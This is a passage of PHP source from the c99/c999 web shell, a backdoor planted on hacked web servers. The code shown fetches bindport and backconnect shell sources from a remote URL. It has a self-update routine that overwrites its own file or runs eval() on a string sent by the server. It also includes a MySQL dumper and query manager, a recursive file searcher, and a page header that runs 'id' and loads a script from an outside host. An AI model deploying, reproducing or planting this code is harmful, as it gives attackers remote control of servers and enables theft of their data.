if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}

elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}

else {return "<font color=green>".view_perms(fileperms($o))."</font>";}

}

}

if (!function_exists("c999getsource"))

{

function c999getsource($fn)

{

global $c999sh_sourcesurl;

$array = array(

"c999sh_bindport.pl" => "c999sh_bindport_pl.txt",

"c999sh_bindport.c" => "c999sh_bindport_c.txt",

"c999sh_backconn.pl" => "c999sh_backconn_pl.txt",

"c999sh_backconn.c" => "c999sh_backconn_c.txt",

"c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt",

"c999sh_datapipe.c" => "c999sh_datapipe_c.txt",

);

$name = $array[$fn];

if ($name) {return file_get_contents($c999sh_sourcesurl.$name);}

else {return FALSE;}

}

}

if (!function_exists("c999sh_getupdate"))

{

function c999sh_getupdate($update = TRUE)

{

$url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";

$data = @file_get_contents($url);

if (!$data) {return "Can't connect to update-server!";}

else

{

$data = ltrim($data);

$string = substr($data,3,ord($data{2}));

if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}

if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}

if ($data{0} == "\x99" and $data{1} == "\x03")

{

$string = explode("\x01",$string);

if ($update)

{

$confvars = array();

$sourceurl = $string[0];

$source = file_get_contents($sourceurl);

if (!$source) {return "Can't fetch update!";}

else

{

$fp = fopen(__FILE__,"w");

if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}

else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}

}

}

else {return "New version are available: ".$string[1];}

}

elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}

else {return "Error in protocol: segmentation failed! (".$data.") ";}

}

}

}

if (!function_exists("mysql_dump"))

{

function mysql_dump($set)

{

global $shver;

$sock = $set["sock"];

$db = $set["db"];

$print = $set["print"];

$nl2br = $set["nl2br"];

$file = $set["file"];

$add_drop = $set["add_drop"];

$tabs = $set["tabs"];

$onlytabs = $set["onlytabs"];

$ret = array();

$ret["err"] = array();

if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}

if (empty($db)) {$db = "db";}

if (empty($print)) {$print = 0;}

if (empty($nl2br)) {$nl2br = 0;}

if (empty($add_drop)) {$add_drop = TRUE;}

if (empty($file))

{

$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";

}

if (!is_array($tabs)) {$tabs = array();}

if (empty($add_drop)) {$add_drop = TRUE;}

if (sizeof($tabs) == 0)

{

// retrive tables-list

$res = mysql_query("SHOW TABLES FROM ".$db, $sock);

if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}

}

$out = "# Dumped by c999Shell.SQL v. ".$shver."

# Home page: http://ccteam.ru

#

# Host settings:

# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."

# Date: ".date("d.m.Y H:i:s")."

# DB: \"".$db."\"

#---------------------------------------------------------

";

$c = count($onlytabs);

foreach($tabs as $tab)

{

if ((in_array($tab,$onlytabs)) or (!$c))

{

if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}

// recieve query for create table structure

$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);

if (!$res) {$ret["err"][] = mysql_smarterror();}

else

{

$row = mysql_fetch_row($res);

$out .= $row["1"].";\n\n";

// recieve table variables

$res = mysql_query("SELECT * FROM `$tab`", $sock);

if (mysql_num_rows($res) > 0)

{

while ($row = mysql_fetch_assoc($res))

{

$keys = implode("`, `", array_keys($row));

$values = array_values($row);

foreach($values as $k=>$v) {$values[$k] = addslashes($v);}

$values = implode("', '", $values);

$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";

$out .= $sql;

}

}

}

}

}

$out .= "#---------------------------------------------------------------------------------\n\n";

if ($file)

{

$fp = fopen($file, "w");

if (!$fp) {$ret["err"][] = 2;}

else

{

fwrite ($fp, $out);

fclose ($fp);

}

}

if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}

return $out;

}

}

if (!function_exists("mysql_buildwhere"))

{

function mysql_buildwhere($array,$sep=" and",$functs=array())

{

if (!is_array($array)) {$array = array();}

$result = "";

foreach($array as $k=>$v)

{

$value = "";

if (!empty($functs[$k])) {$value .= $functs[$k]."(";}

$value .= "'".addslashes($v)."'";

if (!empty($functs[$k])) {$value .= ")";}

$result .= "`".$k."` = ".$value.$sep;

}

$result = substr($result,0,strlen($result)-strlen($sep));

return $result;

}

}

if (!function_exists("mysql_fetch_all"))

{

function mysql_fetch_all($query,$sock)

{

if ($sock) {$result = mysql_query($query,$sock);}

else {$result = mysql_query($query);}

$array = array();

while ($row = mysql_fetch_array($result)) {$array[] = $row;}

mysql_free_result($result);

return $array;

}

}

if (!function_exists("mysql_smarterror"))

{

function mysql_smarterror($type,$sock)

{

if ($sock) {$error = mysql_error($sock);}

else {$error = mysql_error();}

$error = htmlspecialchars($error);

return $error;

}

}

if (!function_exists("mysql_query_form"))

{

function mysql_query_form()

{

global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;

if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}

if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}

if ((!$submit) or ($sql_act))

{

echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";

if ($tbl_struct)

{

echo "<td valign=\"top\"><b>Fields:</b><br>";

foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}

echo "</td></tr></table>";

}

}

if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}

}

}

if (!function_exists("mysql_create_db"))

{

function mysql_create_db($db,$sock="")

{

$sql = "CREATE DATABASE `".addslashes($db)."`;";

if ($sock) {return mysql_query($sql,$sock);}

else {return mysql_query($sql);}

}

}

if (!function_exists("mysql_query_parse"))

{

function mysql_query_parse($query)

{

$query = trim($query);

$arr = explode (" ",$query);

/*array array()

{

"METHOD"=>array(output_type),

"METHOD1"...

...

}

if output_type == 0, no output,

if output_type == 1, no output if no error

if output_type == 2, output without control-buttons

if output_type == 3, output with control-buttons

*/

$types = array(

"SELECT"=>array(3,1),

"SHOW"=>array(2,1),

"DELETE"=>array(1),

"DROP"=>array(1)

);

$result = array();

$op = strtoupper($arr[0]);

if (is_array($types[$op]))

{

$result["propertions"] = $types[$op];

$result["query"] = $query;

if ($types[$op] == 2)

{

foreach($arr as $k=>$v)

{

if (strtoupper($v) == "LIMIT")

{

$result["limit"] = $arr[$k+1];

$result["limit"] = explode(",",$result["limit"]);

if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}

unset($arr[$k],$arr[$k+1]);

}

}

}

}

else {return FALSE;}

}

}

if (!function_exists("c999fsearch"))

{

function c999fsearch($d)

{

global $found;

global $found_d;

global $found_f;

global $search_i_f;

global $search_i_d;

global $a;

if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

$h = opendir($d);

while (($f = readdir($h)) !== FALSE)

{

if($f != "." && $f != "..")

{

$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));

if (is_dir($d.$f))

{

$search_i_d++;

if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}

if (!is_link($d.$f)) {c999fsearch($d.$f);}

}

else

{

$search_i_f++;

if ($bool)

{

if (!empty($a["text"]))

{

$r = @file_get_contents($d.$f);

if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}

if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}

if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}

else {$bool = strpos(" ".$r,$a["text"],1);}

if ($a["text_not"]) {$bool = !$bool;}

if ($bool) {$found[] = $d.$f; $found_f++;}

}

else {$found[] = $d.$f; $found_f++;}

}

}

}

}

closedir($h);

}

}

if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}

//Sending headers

@ob_start();

@ob_implicit_flush(0);

function onphpshutdown()

{

global $gzipencode,$ft;

if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))

{

$v = @ob_get_contents();

@ob_end_clean();

@ob_start("ob_gzHandler");

echo $v;

@ob_end_flush();

}

}

function c999shexit()

{

onphpshutdown();

exit;

}

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");

header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");

header("Cache-Control: no-store, no-cache, must-revalidate");

header("Cache-Control: post-check=0, pre-check=0", FALSE);

header("Pragma: no-cache");

if (empty($tmpdir))

{

$tmpdir = ini_get("upload_tmp_dir");

if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}

}

$tmpdir = realpath($tmpdir);

$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);

if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}

if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}

else {$tmpdir_logs = realpath($tmpdir_logs);}

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")

{

$safemode = TRUE;

$hsafemode = "<font color=red>ON (secure)</font>";

}

else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}

$v = @ini_get("open_basedir");

if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}

else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}

$sort = htmlspecialchars($sort);

if (empty($sort)) {$sort = $sort_default;}

$sort[1] = strtolower($sort[1]);

$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");

if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}

$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));

@ini_set("highlight.bg",$highlight_bg); //FFFFFF

@ini_set("highlight.comment",$highlight_comment); //#FF8000

@ini_set("highlight.default",$highlight_default); //#0000BB

@ini_set("highlight.html",$highlight_html); //#000000

@ini_set("highlight.keyword",$highlight_keyword); //#007700

@ini_set("highlight.string",$highlight_string); //#DD0000

if (!is_array($actbox)) {$actbox = array();}

$dspact = $act = htmlspecialchars($act);

$disp_fullpath = $ls_arr = $notls = null;

$ud = urlencode($d);

?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><SCRIPT SRC=http://r57.biz/yazciz/ciz.js></SCRIPT><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>c99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php

$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}

$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);

if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

$d = str_replace("\\\\","\\",$d);

$dispd = htmlspecialchars($d);

$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));

$i = 0;

foreach($pd as $b)

{

$t = "";

$j = 0;

foreach ($e as $r)

{

$t.= $r.DIRECTORY_SEPARATOR;

if ($j == $i) {break;}

$j++;

}

echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";

$i++;

}

echo "&nbsp;&nbsp;&nbsp;";

if (is_writable($d))

{

$wd = TRUE;

$wdt = "<font color=green>[ ok ]</font>";

echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";

}

else

{

$wd = FALSE;

$wdt = "<font color=red>[ Read-Only ]</font>";

echo "<b>".view_perms_color($d)."</b>";

}

if (is_callable("disk_free_space"))

{

$free = disk_free_space($d);

$total = disk_total_space($d);

if ($free === FALSE) {$free = 0;}

if ($total === FALSE) {$total = 0;}

if ($free < 0) {$free = 0;}

if ($total < 0) {$total = 0;}

$used = $total-$free;

$free_percent = round(100/($total/$free),2);

echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";

}

echo "<br>";

$letters = "";

if ($win)

{

$v = explode("\\",$d);

$v = $v[0];

foreach (range("a","z") as $letter)

{

$bool = $isdiskette = in_array($letter,$safemode_diskettes);

if (!$bool) {$bool = is_dir($letter.":\\");}

if ($bool)

{

$letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";

if ($letter.":" != $v) {$letters .= $letter;}

else {$letters .= "<font color=green>".$letter."</font>";}

$letters .= " ]</a> ";

}

}

if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}

}

if (count($quicklaunch) > 0)

{

foreach($quicklaunch as $item)

{

$item[1] = str_replace("%d",urlencode($d),$item[1]);

$item[1] = str_replace("%sort",$sort,$item[1]);

$v = realpath($d."..");

if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}

$item[1] = str_replace("%upd",urlencode($v),$item[1]);

echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";

}

}

echo "</p></td></tr></table><br>";

if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}

echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";

if ($act == "") {$act = $dspact = "ls";}

if ($act == "sql")

{

$sql_surl = $surl."act=sql";

if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}

if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}

if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}

if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}

if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}

$sql_surl .= "&";

?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php

if ($sql_server)

{

$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);

$err = mysql_smarterror();

@mysql_select_db($sql_db,$sql_sock);

if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}

}

else {$sql_sock = FALSE;}

echo "<b>SQL Manager:</b><br>";

if (!$sql_sock)

{

if (!$sql_server) {echo "NO CONNECTION";}

else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}

}

else

{

$sqlquicklaunch = array();

$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");

$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));

$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");

$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");

$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");

$sqlquicklaunch[] = array("Logout",$surl."act=sql");

echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";

if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}

echo "</center>";

}

echo "</td></tr><tr>";

if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }

else

{

//Start left panel

if (!empty($sql_db))

{

?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php

$result = mysql_list_tables($sql_db);

if (!$result) {echo mysql_smarterror();}

else

{

echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";

$c = 0;

while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}

if (!$c) {echo "No tables found in database.";}

}

}

else

{

?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php

$result = mysql_list_dbs($sql_sock);

if (!$result) {echo mysql_smarterror();}

else

{

?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php

$c = 0;

$dbs = "";

while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}

echo "<option value=\"\">Databases (".$c.")</option>";

echo $dbs;

}

?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php

}

//End left panel

echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";

//Start center panel

$diplay = TRUE;

if ($sql_db)

{

if (!is_numeric($c)) {$c = 0;}

if ($c == 0) {$c = "no";}

echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";

if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}

echo "</b></center>";

$acts = array("","dump");

if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}

elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}

elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}

elseif ($sql_tbl_act == "insert")

{

if ($sql_tbl_insert_radio == 1)

{

$keys = "";

$akeys = array_keys($sql_tbl_insert);

foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}

if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}

$values = "";

$i = 0;

foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}

if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}

$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";

$sql_act = "query";

$sql_tbl_act = "browse";

}

elseif ($sql_tbl_insert_radio == 2)

{

$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);

$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";

$result = mysql_query($sql_query) or print(mysql_smarterror());

$result = mysql_fetch_array($result, MYSQL_ASSOC);

$sql_act = "query";

$sql_tbl_act = "browse";

}

}

if ($sql_act == "query")

{

echo "<hr size=\"1\" noshade>";

if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}

if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}

if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}

}

if (in_array($sql_act,$acts))

{

